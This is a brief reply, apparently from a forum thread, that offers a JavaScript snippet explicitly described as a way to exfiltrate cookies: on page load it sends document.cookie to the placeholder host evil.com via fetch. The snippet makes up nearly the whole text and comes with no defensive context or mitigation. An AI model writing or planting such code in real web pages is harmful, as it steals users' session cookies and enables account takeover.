Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });